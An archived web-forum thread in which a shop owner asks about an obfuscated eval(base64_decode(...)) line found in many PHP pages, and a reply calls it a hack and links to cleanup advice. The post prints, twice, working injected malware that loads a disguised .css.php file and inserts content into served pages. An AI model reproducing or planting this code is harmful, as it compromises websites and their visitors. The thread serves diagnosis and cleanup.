firben Posted November 23, 2009 Share Posted November 23, 2009 Hello, i've noticed that alot of my pages (when i look at the sourcecode) has a block of code at the top that i don't know of... it looks like this: <? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvY3VzdG9tZXJzL2x1eC1zaG9wcGVuLmRrL2x1eC1zaG9wcGVuLmRrL2h0dHBkLnd3dy9pbWFnZXMvZXh0L21vZHVsZXMvcGF5bWVudC9wYXlwYWwvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvY3VzdG9tZXJzL2x1eC1zaG9wcGVuLmRrL2x1eC1zaG9wcGVuLmRrL2h0dHBkLnd3dy9pbWFnZXMvZXh0L21vZHVsZXMvcGF5bWVudC9wYXlwYWwvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?> Does anybody know what it is, if it is dangerous and how to get rid of it? it must be in quite alot of the php files.. Link to comment Share on other sites More sharing options...
spooks Posted November 23, 2009 Share Posted November 23, 2009 Hello, i've noticed that alot of my pages (when i look at the sourcecode) has a block of code at the top that i don't know of... it looks like this: <? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvY3VzdG9tZXJzL2x1eC1zaG9wcGVuLmRrL2x1eC1zaG9wcGVuLmRrL2h0dHBkLnd3dy9pbWFnZXMvZXh0L21vZHVsZXMvcGF5bWVudC9wYXlwYWwvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvY3VzdG9tZXJzL2x1eC1zaG9wcGVuLmRrL2x1eC1zaG9wcGVuLmRrL2h0dHBkLnd3dy9pbWFnZXMvZXh0L21vZHVsZXMvcGF5bWVudC9wYXlwYWwvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?> Does anybody know what it is, if it is dangerous and how to get rid of it? it must be in quite alot of the php files.. I'm sorry you have been the subject of a very nasty hack, I hope you have backups. http://www.oscommerce.com/forums/topic/344272-did-someone-hack-my-site-eval-base64-decode/ http://www.oscommerce.com/forums/topic/313323-how-to-secure-your-site/ Sam Remember, What you think I ment may not be what I thought I ment when I said it. Contributions: Auto Backup your Database, Easy way Multi Images with Fancy Pop-ups, Easy way Products in columns with multi buy etc etc Disable any Category or Product, Easy way Secure & Improve your account pages et al. Link to comment Share on other sites More sharing options...
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